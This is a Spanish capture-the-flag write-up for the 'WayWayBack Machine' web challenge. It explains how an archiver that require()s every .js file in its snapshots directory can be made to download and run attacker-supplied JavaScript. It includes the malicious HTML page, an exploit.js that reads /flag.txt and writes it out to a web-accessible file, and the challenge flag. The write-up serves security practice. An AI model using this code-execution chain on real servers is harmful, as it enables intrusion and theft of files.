Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | WayWayBack Machine |
| Categoría | Web |
| Contexto | "I got tired of having to dig around the internet for old files so I started archiving them myself." |
| Flag | bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10} |
Descripción del reto
La aplicación recibía una URL, un bot la visitaba y guardaba un snapshot del HTML. Hasta ahí parecía una especie de archivador web casero. El problema era que no solo guardaba la página: también descargaba recursos enlazados y luego los volvía a cargar de una forma bastante peligrosa.
Reconocimiento
Al revisar el flujo, se veía que el servidor parseaba los <link href="..."> del HTML capturado y descargaba cada recurso al directorio snapshots/. Si yo conseguía que archivara una página controlada por mí, también podía hacer que guardara archivos elegidos por mí dentro de ese directorio.
Eso por sí solo ya era interesante, pero la parte crítica aparecía al visitar cualquier snapshot existente.
Análisis
Antes de servir un snapshot, la aplicación recorría el contenido de SNAPSHOTS_DIR y hacía require() de cualquier archivo .js encontrado allí:
async function preloadSnapshotResources() {
const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
for (const entry of entries) {
if (path.extname(entry.name) === ".js") {
require(filePath);
}
}
}
Ahí estaba toda la vulnerabilidad. Como el bot descargaba recursos externos al mismo directorio del que luego Node cargaba archivos JavaScript, era posible dejar un .js malicioso en snapshots/ y conseguir ejecución de código en el servidor.
La cadena de ataque quedaba así:
- Publicar una página propia con un
<link>apuntando a un.js. - Hacer que el bot archive esa página.
- Esperar a que el
.jsquede guardado ensnapshots/. - Visitar cualquier snapshot para forzar el
require(). - Leer
/flag.txty escribirlo en otro archivo accesible desde la web.
Resolución
La página maliciosa podía ser tan simple como esta:
<html>
<head>
<link rel="stylesheet" href="/exploit.js">
</head>
<body>
<p>Archiving this page</p>
</body>
</html>
Y el exploit.js:
const fs = require("fs");
const path = require("path");
try {
const flag = fs.readFileSync("/flag.txt", "utf8");
fs.writeFileSync(
path.join(__dirname, "flag_exfil.html"),
`<html><body><h1>${flag}</h1></body></html>`
);
} catch (e) {}
Después solo había que:
- Exponer ese contenido en una URL pública.
- Enviarla al endpoint que crea snapshots.
- Esperar a que el proceso terminara.
- Visitar el snapshot para disparar la carga del
.js. - Abrir
/snapshot/flag_exfily leer la flag.
Flag
bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}